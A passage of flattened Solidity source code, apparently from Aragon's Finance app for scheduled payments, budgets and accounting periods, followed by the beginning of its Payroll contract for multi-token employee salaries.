MAX_SCHEDULED_PAYMENTS_PER_TX = 20; uint256 internal constant MAX_UINT256 = uint256(-1); uint64 internal constant MAX_UINT64 = uint64(-1); uint64 internal constant MINIMUM_PERIOD = uint64(1 days); string private constant ERROR_COMPLETE_TRANSITION = "FINANCE_COMPLETE_TRANSITION"; string private constant ERROR_NO_SCHEDULED_PAYMENT = "FINANCE_NO_SCHEDULED_PAYMENT"; string private constant ERROR_NO_TRANSACTION = "FINANCE_NO_TRANSACTION"; string private constant ERROR_NO_PERIOD = "FINANCE_NO_PERIOD"; string private constant ERROR_VAULT_NOT_CONTRACT = "FINANCE_VAULT_NOT_CONTRACT"; string private constant ERROR_SET_PERIOD_TOO_SHORT = "FINANCE_SET_PERIOD_TOO_SHORT"; string private constant ERROR_NEW_PAYMENT_AMOUNT_ZERO = "FINANCE_NEW_PAYMENT_AMOUNT_ZERO"; string private constant ERROR_NEW_PAYMENT_INTERVAL_ZERO = "FINANCE_NEW_PAYMENT_INTRVL_ZERO"; string private constant ERROR_NEW_PAYMENT_EXECS_ZERO = "FINANCE_NEW_PAYMENT_EXECS_ZERO"; string private constant ERROR_NEW_PAYMENT_IMMEDIATE = "FINANCE_NEW_PAYMENT_IMMEDIATE"; string private constant ERROR_RECOVER_AMOUNT_ZERO = "FINANCE_RECOVER_AMOUNT_ZERO"; string private constant ERROR_DEPOSIT_AMOUNT_ZERO = "FINANCE_DEPOSIT_AMOUNT_ZERO"; string private constant ERROR_ETH_VALUE_MISMATCH = "FINANCE_ETH_VALUE_MISMATCH"; string private constant ERROR_BUDGET = "FINANCE_BUDGET"; string private constant ERROR_EXECUTE_PAYMENT_NUM = "FINANCE_EXECUTE_PAYMENT_NUM"; string private constant ERROR_EXECUTE_PAYMENT_TIME = "FINANCE_EXECUTE_PAYMENT_TIME"; string private constant ERROR_PAYMENT_RECEIVER = "FINANCE_PAYMENT_RECEIVER"; string private constant ERROR_TOKEN_TRANSFER_FROM_REVERTED = "FINANCE_TKN_TRANSFER_FROM_REVERT"; string private constant ERROR_TOKEN_APPROVE_FAILED = "FINANCE_TKN_APPROVE_FAILED"; string private constant ERROR_PAYMENT_INACTIVE = "FINANCE_PAYMENT_INACTIVE"; string private constant ERROR_REMAINING_BUDGET = "FINANCE_REMAINING_BUDGET"; // Order optimized for storage struct ScheduledPayment { address token; address receiver; address createdBy; bool inactive; uint256 amount; uint64 initialPaymentTime; uint64 interval; uint64 maxExecutions; uint64 executions; } // Order optimized for storage struct Transaction { address token; address entity; bool isIncoming; uint256 amount; uint256 paymentId; uint64 paymentExecutionNumber; uint64 date; uint64 periodId; } struct TokenStatement { uint256 expenses; uint256 income; } struct Period { uint64 startTime; uint64 endTime; uint256 firstTransactionId; uint256 lastTransactionId; mapping (address => TokenStatement) tokenStatement; } struct Settings { uint64 periodDuration; mapping (address => uint256) budgets; mapping (address => bool) hasBudget; } Vault public vault; Settings internal settings; // We are mimicing arrays, we use mappings instead to make app upgrade more graceful mapping (uint256 => ScheduledPayment) internal scheduledPayments; // Payments start at index 1, to allow us to use scheduledPayments[0] for transactions that are not // linked to a scheduled payment uint256 public paymentsNextIndex; mapping (uint256 => Transaction) internal transactions; uint256 public transactionsNextIndex; mapping (uint64 => Period) internal periods; uint64 public periodsLength; event NewPeriod(uint64 indexed periodId, uint64 periodStarts, uint64 periodEnds); event SetBudget(address indexed token, uint256 amount, bool hasBudget); event NewPayment(uint256 indexed paymentId, address indexed recipient, uint64 maxExecutions, string reference); event NewTransaction(uint256 indexed transactionId, bool incoming, address indexed entity, uint256 amount, string reference); event ChangePaymentState(uint256 indexed paymentId, bool active); event ChangePeriodDuration(uint64 newDuration); event PaymentFailure(uint256 paymentId); // Modifier used by all methods that impact accounting to make sure accounting period // is changed before the operation if needed // NOTE: its use **MUST** be accompanied by an initialization check modifier transitionsPeriod { bool completeTransition = _tryTransitionAccountingPeriod(getMaxPeriodTransitions()); require(completeTransition, ERROR_COMPLETE_TRANSITION); _; } modifier scheduledPaymentExists(uint256 _paymentId) { require(_paymentId > 0 && _paymentId < paymentsNextIndex, ERROR_NO_SCHEDULED_PAYMENT); _; } modifier transactionExists(uint256 _transactionId) { require(_transactionId > 0 && _transactionId < transactionsNextIndex, ERROR_NO_TRANSACTION); _; } modifier periodExists(uint64 _periodId) { require(_periodId < periodsLength, ERROR_NO_PERIOD); _; } /** * @notice Deposit ETH to the Vault, to avoid locking them in this Finance app forever * @dev Send ETH to Vault. Send all the available balance. */ function () external payable isInitialized transitionsPeriod { require(msg.value > 0, ERROR_DEPOSIT_AMOUNT_ZERO); _deposit( ETH, msg.value, "Ether transfer to Finance app", msg.sender, true ); } /** * @notice Initialize Finance app for Vault at `_vault` with period length of `@transformTime(_periodDuration)` * @param _vault Address of the vault Finance will rely on (non changeable) * @param _periodDuration Duration in seconds of each period */ function initialize(Vault _vault, uint64 _periodDuration) external onlyInit { initialized(); require(isContract(_vault), ERROR_VAULT_NOT_CONTRACT); vault = _vault; require(_periodDuration >= MINIMUM_PERIOD, ERROR_SET_PERIOD_TOO_SHORT); settings.periodDuration = _periodDuration; // Reserve the first scheduled payment index as an unused index for transactions not linked // to a scheduled payment scheduledPayments[0].inactive = true; paymentsNextIndex = 1; // Reserve the first transaction index as an unused index for periods with no transactions transactionsNextIndex = 1; // Start the first period _newPeriod(getTimestamp64()); } /** * @notice Deposit `@tokenAmount(_token, _amount)` * @dev Deposit for approved ERC20 tokens or ETH * @param _token Address of deposited token * @param _amount Amount of tokens sent * @param _reference Reason for payment */ function deposit(address _token, uint256 _amount, string _reference) external payable isInitialized transitionsPeriod { require(_amount > 0, ERROR_DEPOSIT_AMOUNT_ZERO); if (_token == ETH) { // Ensure that the ETH sent with the transaction equals the amount in the deposit require(msg.value == _amount, ERROR_ETH_VALUE_MISMATCH); } _deposit( _token, _amount, _reference, msg.sender, true ); } /** * @notice Create a new payment of `@tokenAmount(_token, _amount)` to `_receiver` for '`_reference`' * @dev Note that this function is protected by the `CREATE_PAYMENTS_ROLE` but uses `MAX_UINT256` * as its interval auth parameter (as a sentinel value for "never repeating"). * While this protects against most cases (you typically want to set a baseline requirement * for interval time), it does mean users will have to explicitly check for this case when * granting a permission that includes a upperbound requirement on the interval time. * @param _token Address of token for payment * @param _receiver Address that will receive payment * @param _amount Tokens that are paid every time the payment is due * @param _reference String detailing payment reason */ function newImmediatePayment(address _token, address _receiver, uint256 _amount, string _reference) external // Use MAX_UINT256 as the interval parameter, as this payment will never repeat // Payment time parameter is left as the last param as it was added later authP(CREATE_PAYMENTS_ROLE, _arr(_token, _receiver, _amount, MAX_UINT256, uint256(1), getTimestamp())) transitionsPeriod { require(_amount > 0, ERROR_NEW_PAYMENT_AMOUNT_ZERO); _makePaymentTransaction( _token, _receiver, _amount, NO_SCHEDULED_PAYMENT, // unrelated to any payment id; it isn't created 0, // also unrelated to any payment executions _reference ); } /** * @notice Create a new payment of `@tokenAmount(_token, _amount)` to `_receiver` for `_reference`, executing `_maxExecutions` times at intervals of `@transformTime(_interval)` * @dev See `newImmediatePayment()` for limitations on how the interval auth parameter can be used * @param _token Address of token for payment * @param _receiver Address that will receive payment * @param _amount Tokens that are paid every time the payment is due * @param _initialPaymentTime Timestamp for when the first payment is done * @param _interval Number of seconds that need to pass between payment transactions * @param _maxExecutions Maximum instances a payment can be executed * @param _reference String detailing payment reason */ function newScheduledPayment( address _token, address _receiver, uint256 _amount, uint64 _initialPaymentTime, uint64 _interval, uint64 _maxExecutions, string _reference ) external // Payment time parameter is left as the last param as it was added later authP(CREATE_PAYMENTS_ROLE, _arr(_token, _receiver, _amount, uint256(_interval), uint256(_maxExecutions), uint256(_initialPaymentTime))) transitionsPeriod returns (uint256 paymentId) { require(_amount > 0, ERROR_NEW_PAYMENT_AMOUNT_ZERO); require(_interval > 0, ERROR_NEW_PAYMENT_INTERVAL_ZERO); require(_maxExecutions > 0, ERROR_NEW_PAYMENT_EXECS_ZERO); // Token budget must not be set at all or allow at least one instance of this payment each period require(!settings.hasBudget[_token] || settings.budgets[_token] >= _amount, ERROR_BUDGET); // Don't allow creating single payments that are immediately executable, use `newImmediatePayment()` instead if (_maxExecutions == 1) { require(_initialPaymentTime > getTimestamp64(), ERROR_NEW_PAYMENT_IMMEDIATE); } paymentId = paymentsNextIndex++; emit NewPayment(paymentId, _receiver, _maxExecutions, _reference); ScheduledPayment storage payment = scheduledPayments[paymentId]; payment.token = _token; payment.receiver = _receiver; payment.amount = _amount; payment.initialPaymentTime = _initialPaymentTime; payment.interval = _interval; payment.maxExecutions = _maxExecutions; payment.createdBy = msg.sender; // We skip checking how many times the new payment was executed to allow creating new // scheduled payments before having enough vault balance _executePayment(paymentId); } /** * @notice Change period duration to `@transformTime(_periodDuration)`, effective for next accounting period * @param _periodDuration Duration in seconds for accounting periods */ function setPeriodDuration(uint64 _periodDuration) external authP(CHANGE_PERIOD_ROLE, arr(uint256(_periodDuration), uint256(settings.periodDuration))) transitionsPeriod { require(_periodDuration >= MINIMUM_PERIOD, ERROR_SET_PERIOD_TOO_SHORT); settings.periodDuration = _periodDuration; emit ChangePeriodDuration(_periodDuration); } /** * @notice Set budget for `_token.symbol(): string` to `@tokenAmount(_token, _amount, false)`, effective immediately * @param _token Address for token * @param _amount New budget amount */ function setBudget( address _token, uint256 _amount ) external authP(CHANGE_BUDGETS_ROLE, arr(_token, _amount, settings.budgets[_token], uint256(settings.hasBudget[_token] ? 1 : 0))) transitionsPeriod { settings.budgets[_token] = _amount; if (!settings.hasBudget[_token]) { settings.hasBudget[_token] = true; } emit SetBudget(_token, _amount, true); } /** * @notice Remove spending limit for `_token.symbol(): string`, effective immediately * @param _token Address for token */ function removeBudget(address _token) external authP(CHANGE_BUDGETS_ROLE, arr(_token, uint256(0), settings.budgets[_token], uint256(settings.hasBudget[_token] ? 1 : 0))) transitionsPeriod { settings.budgets[_token] = 0; settings.hasBudget[_token] = false; emit SetBudget(_token, 0, false); } /** * @notice Execute pending payment #`_paymentId` * @dev Executes any payment (requires role) * @param _paymentId Identifier for payment */ function executePayment(uint256 _paymentId) external authP(EXECUTE_PAYMENTS_ROLE, arr(_paymentId, scheduledPayments[_paymentId].amount)) scheduledPaymentExists(_paymentId) transitionsPeriod { _executePaymentAtLeastOnce(_paymentId); } /** * @notice Execute pending payment #`_paymentId` * @dev Always allow receiver of a payment to trigger execution * Initialization check is implicitly provided by `scheduledPaymentExists()` as new * scheduled payments can only be created via `newScheduledPayment(),` which requires initialization * @param _paymentId Identifier for payment */ function receiverExecutePayment(uint256 _paymentId) external scheduledPaymentExists(_paymentId) transitionsPeriod { require(scheduledPayments[_paymentId].receiver == msg.sender, ERROR_PAYMENT_RECEIVER); _executePaymentAtLeastOnce(_paymentId); } /** * @notice `_active ? 'Activate' : 'Disable'` payment #`_paymentId` * @dev Note that we do not require this action to transition periods, as it doesn't directly * impact any accounting periods. * Not having to transition periods also makes disabling payments easier to prevent funds * from being pulled out in the event of a breach. * @param _paymentId Identifier for payment * @param _active Whether it will be active or inactive */ function setPaymentStatus(uint256 _paymentId, bool _active) external authP(MANAGE_PAYMENTS_ROLE, arr(_paymentId, uint256(_active ? 1 : 0))) scheduledPaymentExists(_paymentId) { scheduledPayments[_paymentId].inactive = !_active; emit ChangePaymentState(_paymentId, _active); } /** * @notice Send tokens held in this contract to the Vault * @dev Allows making a simple payment from this contract to the Vault, to avoid locked tokens. * This contract should never receive tokens with a simple transfer call, but in case it * happens, this function allows for their recovery. * @param _token Token whose balance is going to be transferred. */ function recoverToVault(address _token) external isInitialized transitionsPeriod { uint256 amount = _token == ETH ? address(this).balance : ERC20(_token).staticBalanceOf(address(this)); require(amount > 0, ERROR_RECOVER_AMOUNT_ZERO); _deposit( _token, amount, "Recover to Vault", address(this), false ); } /** * @notice Transition accounting period if needed * @dev Transitions accounting periods if needed. For preventing OOG attacks, a maxTransitions * param is provided. If more than the specified number of periods need to be transitioned, * it will return false. * @param _maxTransitions Maximum periods that can be transitioned * @return success Boolean indicating whether the accounting period is the correct one (if false, * maxTransitions was surpased and another call is needed) */ function tryTransitionAccountingPeriod(uint64 _maxTransitions) external isInitialized returns (bool success) { return _tryTransitionAccountingPeriod(_maxTransitions); } // Getter fns /** * @dev Disable recovery escape hatch if the app has been initialized, as it could be used * maliciously to transfer funds in the Finance app to another Vault * finance#recoverToVault() should be used to recover funds to the Finance's vault */ function allowRecoverability(address) public view returns (bool) { return !hasInitialized(); } function getPayment(uint256 _paymentId) public view scheduledPaymentExists(_paymentId) returns ( address token, address receiver, uint256 amount, uint64 initialPaymentTime, uint64 interval, uint64 maxExecutions, bool inactive, uint64 executions, address createdBy ) { ScheduledPayment storage payment = scheduledPayments[_paymentId]; token = payment.token; receiver = payment.receiver; amount = payment.amount; initialPaymentTime = payment.initialPaymentTime; interval = payment.interval; maxExecutions = payment.maxExecutions; executions = payment.executions; inactive = payment.inactive; createdBy = payment.createdBy; } function getTransaction(uint256 _transactionId) public view transactionExists(_transactionId) returns ( uint64 periodId, uint256 amount, uint256 paymentId, uint64 paymentExecutionNumber, address token, address entity, bool isIncoming, uint64 date ) { Transaction storage transaction = transactions[_transactionId]; token = transaction.token; entity = transaction.entity; isIncoming = transaction.isIncoming; date = transaction.date; periodId = transaction.periodId; amount = transaction.amount; paymentId = transaction.paymentId; paymentExecutionNumber = transaction.paymentExecutionNumber; } function getPeriod(uint64 _periodId) public view periodExists(_periodId) returns ( bool isCurrent, uint64 startTime, uint64 endTime, uint256 firstTransactionId, uint256 lastTransactionId ) { Period storage period = periods[_periodId]; isCurrent = _currentPeriodId() == _periodId; startTime = period.startTime; endTime = period.endTime; firstTransactionId = period.firstTransactionId; lastTransactionId = period.lastTransactionId; } function getPeriodTokenStatement(uint64 _periodId, address _token) public view periodExists(_periodId) returns (uint256 expenses, uint256 income) { TokenStatement storage tokenStatement = periods[_periodId].tokenStatement[_token]; expenses = tokenStatement.expenses; income = tokenStatement.income; } /** * @dev We have to check for initialization as periods are only valid after initializing */ function currentPeriodId() public view isInitialized returns (uint64) { return _currentPeriodId(); } /** * @dev We have to check for initialization as periods are only valid after initializing */ function getPeriodDuration() public view isInitialized returns (uint64) { return settings.periodDuration; } /** * @dev We have to check for initialization as budgets are only valid after initializing */ function getBudget(address _token) public view isInitialized returns (uint256 budget, bool hasBudget) { budget = settings.budgets[_token]; hasBudget = settings.hasBudget[_token]; } /** * @dev We have to check for initialization as budgets are only valid after initializing */ function getRemainingBudget(address _token) public view isInitialized returns (uint256) { return _getRemainingBudget(_token); } /** * @dev We have to check for initialization as budgets are only valid after initializing */ function canMakePayment(address _token, uint256 _amount) public view isInitialized returns (bool) { return _canMakePayment(_token, _amount); } /** * @dev Initialization check is implicitly provided by `scheduledPaymentExists()` as new * scheduled payments can only be created via `newScheduledPayment(),` which requires initialization */ function nextPaymentTime(uint256 _paymentId) public view scheduledPaymentExists(_paymentId) returns (uint64) { return _nextPaymentTime(_paymentId); } // Internal fns function _deposit(address _token, uint256 _amount, string _reference, address _sender, bool _isExternalDeposit) internal { _recordIncomingTransaction( _token, _sender, _amount, _reference ); if (_token == ETH) { vault.deposit.value(_amount)(ETH, _amount); } else { // First, transfer the tokens to Finance if necessary // External deposit will be false when the assets were already in the Finance app // and just need to be transferred to the Vault if (_isExternalDeposit) { // This assumes the sender has approved the tokens for Finance require( ERC20(_token).safeTransferFrom(msg.sender, address(this), _amount), ERROR_TOKEN_TRANSFER_FROM_REVERTED ); } // Approve the tokens for the Vault (it does the actual transferring) require(ERC20(_token).safeApprove(vault, _amount), ERROR_TOKEN_APPROVE_FAILED); // Finally, initiate the deposit vault.deposit(_token, _amount); } } function _executePayment(uint256 _paymentId) internal returns (uint256) { ScheduledPayment storage payment = scheduledPayments[_paymentId]; require(!payment.inactive, ERROR_PAYMENT_INACTIVE); uint64 paid = 0; while (_nextPaymentTime(_paymentId) <= getTimestamp64() && paid < MAX_SCHEDULED_PAYMENTS_PER_TX) { if (!_canMakePayment(payment.token, payment.amount)) { emit PaymentFailure(_paymentId); break; } // The while() predicate prevents these two from ever overflowing payment.executions += 1; paid += 1; // We've already checked the remaining budget with `_canMakePayment()` _unsafeMakePaymentTransaction( payment.token, payment.receiver, payment.amount, _paymentId, payment.executions, "" ); } return paid; } function _executePaymentAtLeastOnce(uint256 _paymentId) internal { uint256 paid = _executePayment(_paymentId); if (paid == 0) { if (_nextPaymentTime(_paymentId) <= getTimestamp64()) { revert(ERROR_EXECUTE_PAYMENT_NUM); } else { revert(ERROR_EXECUTE_PAYMENT_TIME); } } } function _makePaymentTransaction( address _token, address _receiver, uint256 _amount, uint256 _paymentId, uint64 _paymentExecutionNumber, string _reference ) internal { require(_getRemainingBudget(_token) >= _amount, ERROR_REMAINING_BUDGET); _unsafeMakePaymentTransaction(_token, _receiver, _amount, _paymentId, _paymentExecutionNumber, _reference); } /** * @dev Unsafe version of _makePaymentTransaction that assumes you have already checked the * remaining budget */ function _unsafeMakePaymentTransaction( address _token, address _receiver, uint256 _amount, uint256 _paymentId, uint64 _paymentExecutionNumber, string _reference ) internal { _recordTransaction( false, _token, _receiver, _amount, _paymentId, _paymentExecutionNumber, _reference ); vault.transfer(_token, _receiver, _amount); } function _newPeriod(uint64 _startTime) internal returns (Period storage) { // There should be no way for this to overflow since each period is at least one day uint64 newPeriodId = periodsLength++; Period storage period = periods[newPeriodId]; period.startTime = _startTime; // Be careful here to not overflow; if startTime + periodDuration overflows, we set endTime // to MAX_UINT64 (let's assume that's the end of time for now). uint64 endTime = _startTime + settings.periodDuration - 1; if (endTime < _startTime) { // overflowed endTime = MAX_UINT64; } period.endTime = endTime; emit NewPeriod(newPeriodId, period.startTime, period.endTime); return period; } function _recordIncomingTransaction( address _token, address _sender, uint256 _amount, string _reference ) internal { _recordTransaction( true, // incoming transaction _token, _sender, _amount, NO_SCHEDULED_PAYMENT, // unrelated to any existing payment 0, // and no payment executions _reference ); } function _recordTransaction( bool _incoming, address _token, address _entity, uint256 _amount, uint256 _paymentId, uint64 _paymentExecutionNumber, string _reference ) internal { uint64 periodId = _currentPeriodId(); TokenStatement storage tokenStatement = periods[periodId].tokenStatement[_token]; if (_incoming) { tokenStatement.income = tokenStatement.income.add(_amount); } else { tokenStatement.expenses = tokenStatement.expenses.add(_amount); } uint256 transactionId = transactionsNextIndex++; Transaction storage transaction = transactions[transactionId]; transaction.token = _token; transaction.entity = _entity; transaction.isIncoming = _incoming; transaction.amount = _amount; transaction.paymentId = _paymentId; transaction.paymentExecutionNumber = _paymentExecutionNumber; transaction.date = getTimestamp64(); transaction.periodId = periodId; Period storage period = periods[periodId]; if (period.firstTransactionId == NO_TRANSACTION) { period.firstTransactionId = transactionId; } emit NewTransaction(transactionId, _incoming, _entity, _amount, _reference); } function _tryTransitionAccountingPeriod(uint64 _maxTransitions) internal returns (bool success) { Period storage currentPeriod = periods[_currentPeriodId()]; uint64 timestamp = getTimestamp64(); // Transition periods if necessary while (timestamp > currentPeriod.endTime) { if (_maxTransitions == 0) { // Required number of transitions is over allowed number, return false indicating // it didn't fully transition return false; } // We're already protected from underflowing above _maxTransitions -= 1; // If there were any transactions in period, record which was the last // In case 0 transactions occured, first and last tx id will be 0 if (currentPeriod.firstTransactionId != NO_TRANSACTION) { currentPeriod.lastTransactionId = transactionsNextIndex.sub(1); } // New period starts at end time + 1 currentPeriod = _newPeriod(currentPeriod.endTime.add(1)); } return true; } function _canMakePayment(address _token, uint256 _amount) internal view returns (bool) { return _getRemainingBudget(_token) >= _amount && vault.balance(_token) >= _amount; } function _currentPeriodId() internal view returns (uint64) { // There is no way for this to overflow if protected by an initialization check return periodsLength - 1; } function _getRemainingBudget(address _token) internal view returns (uint256) { if (!settings.hasBudget[_token]) { return MAX_UINT256; } uint256 budget = settings.budgets[_token]; uint256 spent = periods[_currentPeriodId()].tokenStatement[_token].expenses; // A budget decrease can cause the spent amount to be greater than period budget // If so, return 0 to not allow more spending during period if (spent >= budget) { return 0; } // We're already protected from the overflow above return budget - spent; } function _nextPaymentTime(uint256 _paymentId) internal view returns (uint64) { ScheduledPayment storage payment = scheduledPayments[_paymentId]; if (payment.executions >= payment.maxExecutions) { return MAX_UINT64; // re-executes in some billions of years time... should not need to worry } // Split in multiple lines to circumvent linter warning uint64 increase = payment.executions.mul(payment.interval); uint64 nextPayment = payment.initialPaymentTime.add(increase); return nextPayment; } // Syntax sugar function _arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e, uint256 _f) internal pure returns (uint256[] r) { r = new uint256[](6); r[0] = uint256(_a); r[1] = uint256(_b); r[2] = _c; r[3] = _d; r[4] = _e; r[5] = _f; } // Mocked fns (overrided during testing) // Must be view for mocking purposes function getMaxPeriodTransitions() internal view returns (uint64) { return MAX_UINT64; } } // File: @aragon/apps-payroll/contracts/Payroll.sol pragma solidity 0.4.24; /** * @title Payroll in multiple currencies */ contract Payroll is EtherTokenConstant, IForwarder, IsContract, AragonApp { using SafeMath for uint256; using SafeMath64 for uint64; /* Hardcoded constants to save gas * bytes32 constant public ADD_EMPLOYEE_ROLE = keccak256("ADD_EMPLOYEE_ROLE"); * bytes32 constant public TERMINATE_EMPLOYEE_ROLE = keccak256("TERMINATE_EMPLOYEE_ROLE"); * bytes32 constant public SET_EMPLOYEE_SALARY_ROLE = keccak256("SET_EMPLOYEE_SALARY_ROLE"); * bytes32 constant public ADD_BONUS_ROLE = keccak256("ADD_BONUS_ROLE"); * bytes32 constant public ADD_REIMBURSEMENT_ROLE = keccak256("ADD_REIMBURSEMENT_ROLE"); * bytes32 constant public MANAGE_ALLOWED_TOKENS_ROLE = keccak256("MANAGE_ALLOWED_TOKENS_ROLE"); * bytes32 constant public MODIFY_PRICE_FEED_ROLE = keccak256("MODIFY_PRICE_FEED_ROLE"); * bytes32 constant public MODIFY_RATE_EXPIRY_ROLE = keccak256("MODIFY_RATE_EXPIRY_ROLE"); */ bytes32 constant public ADD_EMPLOYEE_ROLE = 0x9ecdc3c63716b45d0756eece5fe1614cae1889ec5a1ce62b3127c1f1f1615d6e; bytes32 constant public TERMINATE_EMPLOYEE_ROLE = 0x69c67f914d12b6440e7ddf01961214818d9158fbcb19211e0ff42800fdea9242; bytes32 constant public SET_EMPLOYEE_SALARY_ROLE = 0xea9ac65018da2421cf419ee2152371440c08267a193a33ccc1e39545d197e44d; bytes32 constant public ADD_BONUS_ROLE = 0xceca7e2f5eb749a87aaf68f3f76d6b9251aa2f4600f13f93c5a4adf7a72df4ae; bytes32 constant public ADD_REIMBURSEMENT_ROLE = 0x90698b9d54427f1e41636025017309bdb1b55320da960c8845bab0a504b01a16; bytes32 constant public MANAGE_ALLOWED_TOKENS_ROLE = 0x0be34987c45700ee3fae8c55e270418ba903337decc6bacb1879504be9331c06; bytes32 constant public MODIFY_PRICE_FEED_ROLE = 0x74350efbcba8b85341c5bbf70cc34e2a585fc1463524773a12fa0a71d4eb9302; bytes32 constant public MODIFY_RATE_EXPIRY_ROLE = 0x79fe989a8899060dfbdabb174ebb96616fa9f1d9dadd739f8d814cbab452404e; uint256 internal constant MAX_ALLOWED_TOKENS = 20; // prevent OOG issues with `payday()` uint64 internal constant MIN_RATE_EXPIRY = uint64(1 minutes); // 1 min == ~4 block window to mine both a price feed update and a payout uint256 internal constant MAX_UINT256 = uint256(-1); uint64 internal constant MAX_UINT64 = uint64(-1); string private constant ERROR_EMPLOYEE_DOESNT_EXIST = "PAYROLL_EMPLOYEE_DOESNT_EXIST"; string private constant ERROR_NON_ACTIVE_EMPLOYEE = "PAYROLL_NON_ACTIVE_EMPLOYEE"; string private constant ERROR_SENDER_DOES_NOT_MATCH = "PAYROLL_SENDER_DOES_NOT_MATCH"; string private constant ERROR_FINANCE_NOT_CONTRACT = "PAYROLL_FINANCE_NOT_CONTRACT"; string private constant ERROR_TOKEN_ALREADY_SET = "PAYROLL_TOKEN_ALREADY_SET"; string private constant ERROR_MAX_ALLOWED_TOKENS = "PAYROLL_MAX_ALLOWED_TOKENS"; string private constant ERROR_MIN_RATES_MISMATCH = "PAYROLL_MIN_RATES_MISMATCH"; string private constant ERROR_TOKEN_ALLOCATION_MISMATCH = "PAYROLL_TOKEN_ALLOCATION_MISMATCH"; string private constant ERROR_NOT_ALLOWED_TOKEN = "PAYROLL_NOT_ALLOWED_TOKEN"; string private constant ERROR_DISTRIBUTION_NOT_FULL = "PAYROLL_DISTRIBUTION_NOT_FULL"; string private constant ERROR_INVALID_PAYMENT_TYPE = "PAYROLL_INVALID_PAYMENT_TYPE"; string private constant ERROR_NOTHING_PAID = "PAYROLL_NOTHING_PAID"; string private constant ERROR_CAN_NOT_FORWARD = "PAYROLL_CAN_NOT_FORWARD"; string private constant ERROR_EMPLOYEE_NULL_ADDRESS = "PAYROLL_EMPLOYEE_NULL_ADDRESS"; string private constant ERROR_EMPLOYEE_ALREADY_EXIST = "PAYROLL_EMPLOYEE_ALREADY_EXIST"; string private constant ERROR_FEED_NOT_CONTRACT = "PAYROLL_FEED_NOT_CONTRACT"; string private constant ERROR_EXPIRY_TIME_TOO_SHORT = "PAYROLL_EXPIRY_TIME_TOO_SHORT"; string private constant ERROR_PAST_TERMINATION_DATE = "PAYROLL_PAST_TERMINATION_DATE"; string private constant ERROR_EXCHANGE_RATE_TOO_LOW = "PAYROLL_EXCHANGE_RATE_TOO_LOW"; string private constant ERROR_LAST_PAYROLL_DATE_TOO_BIG = "PAYROLL_LAST_DATE_TOO_BIG"; string private constant ERROR_INVALID_REQUESTED_AMOUNT = "PAYROLL_INVALID_REQUESTED_AMT"; enum PaymentType { Payroll, Reimbursement, Bonus } struct Employee { address accountAddress; // unique, but can be changed over time uint256 denominationTokenSalary; // salary per second in denomination Token uint256 accruedSalary; // keep track of any leftover accrued salary when changing salaries uint256 bonus; uint256 reimbursements; uint64 lastPayroll; uint64 endDate; address[] allocationTokenAddresses; mapping(address => uint256) allocationTokens; } Finance public finance; address public denominationToken; IFeed public feed; uint64 public rateExpiryTime; // Employees start at index 1, to allow us to use employees[0] to check for non-existent employees uint256 public nextEmployee; mapping(uint256 => Employee) internal employees; // employee ID -> employee mapping(address => uint256) internal employeeIds; // employee address -> employee ID mapping(address => bool) internal allowedTokens; event AddEmployee( uint256 indexed employeeId, address indexed accountAddress, uint256 initialDenominationSalary, uint64 startDate, string role ); event TerminateEmployee(uint256 indexed employeeId, uint64 endDate); event SetEmployeeSalary(uint256 indexed employeeId, uint256 denominationSalary); event AddEmployeeAccruedSalary(uint256 indexed employeeId, uint256 amount); event AddEmployeeBonus(uint256 indexed employeeId, uint256 amount); event AddEmployeeReimbursement(uint256 indexed employeeId, uint256 amount); event ChangeAddressByEmployee(uint256 indexed employeeId, address indexed newAccountAddress, address indexed oldAccountAddress); event DetermineAllocation(uint256 indexed employeeId); event SendPayment( uint256 indexed employeeId, address indexed accountAddress, address indexed token, uint256 amount, uint256 exchangeRate, string paymentReference ); event SetAllowedToken(address indexed token, bool allowed); event SetPriceFeed(address indexed feed); event SetRateExpiryTime(uint64 time); // Check employee exists by ID modifier employeeIdExists(uint256 _employeeId) { require(_employeeExists(_employeeId), ERROR_EMPLOYEE_DOESNT_EXIST); _; } // Check employee exists and is still active modifier employeeActive(uint256 _employeeId) { // No need to check for existence as _isEmployeeIdActive() is false for non-existent employees require(_isEmployeeIdActive(_employeeId), ERROR_NON_ACTIVE_EMPLOYEE); _; } // Check sender matches an existing employee modifier employeeMatches { require(employees[employeeIds[msg.sender]].accountAddress == msg.sender, ERROR_SENDER_DOES_NOT_MATCH); _; } /** * @notice Initialize Payroll app for Finance at `_finance` and price feed at `_priceFeed`, setting denomination token to `_token` and exchange rate expiry time to `@transformTime(_rateExpiryTime)` * @dev Note that we do not require _denominationToken to be a contract, as it may be a "fake" * address used by the price feed to denominate fiat currencies * @param _finance Address of the Finance app this Payroll app will rely on for payments (non-changeable) * @param _denominationToken Address of the denomination token used for salary accounting * @param _priceFeed Address of the price feed * @param _rateExpiryTime Acceptable expiry time in seconds for the price feed's exchange rates */ function initialize(Finance _finance, address _denominationToken, IFeed _priceFeed, uint64 _rateExpiryTime) external onlyInit { initialized(); require(isContract(_finance), ERROR_FINANCE_NOT_CONTRACT); finance = _finance; denominationToken = _denominationToken; _setPriceFeed(_priceFeed); _setRateExpiryTime(_rateExpiryTime); // Employees start at index 1, to allow us to use employees[0] to check for non-existent employees nextEmployee = 1; } /** * @notice `_allowed ? 'Add' : 'Remove'` `_token.symbol(): string` `_allowed ? 'to' : 'from'` the set of allowed tokens * @param _token Address of the token to be added or removed from the list of allowed tokens for payments * @param _allowed Boolean to tell whether the given token should be added or removed from the list */ function setAllowedToken(address _token, bool _allowed) external authP(MANAGE_ALLOWED_TOKENS_ROLE, arr(_token)) { require(allowedTokens[_token] != _allowed, ERROR_TOKEN_ALREADY_SET); allowedTokens[_token] = _allowed; emit SetAllowedToken(_token, _allowed); } /** * @notice Set the price feed for exchange rates to `_feed` * @param _feed Address of the new price feed instance */ function setPriceFeed(IFeed _feed) external authP(MODIFY_PRICE_FEED_ROLE, arr(_feed, feed)) { _setPriceFeed(_feed); } /** * @notice Set the acceptable expiry time for the price feed's exchange rates to `@transformTime(_time)` * @dev Exchange rates older than the given value won't be accepted for payments and will cause payouts to revert * @param _time The expiration time in seconds for exchange rates */ function setRateExpiryTime(uint64 _time) external authP(MODIFY_RATE_EXPIRY_ROLE, arr(uint256(_time), uint256(rateExpiryTime))) { _setRateExpiryTime(_time); } /** * @notice Add employee with address `_accountAddress` to payroll with an salary of `_initialDenominationSalary` per second, starting on `@formatDate(_startDate)` * @param _accountAddress Employee's address to receive payroll * @param _initialDenominationSalary Employee's salary, per second in denomination token * @param _startDate Employee's starting timestamp in seconds (it actually sets their initial lastPayroll 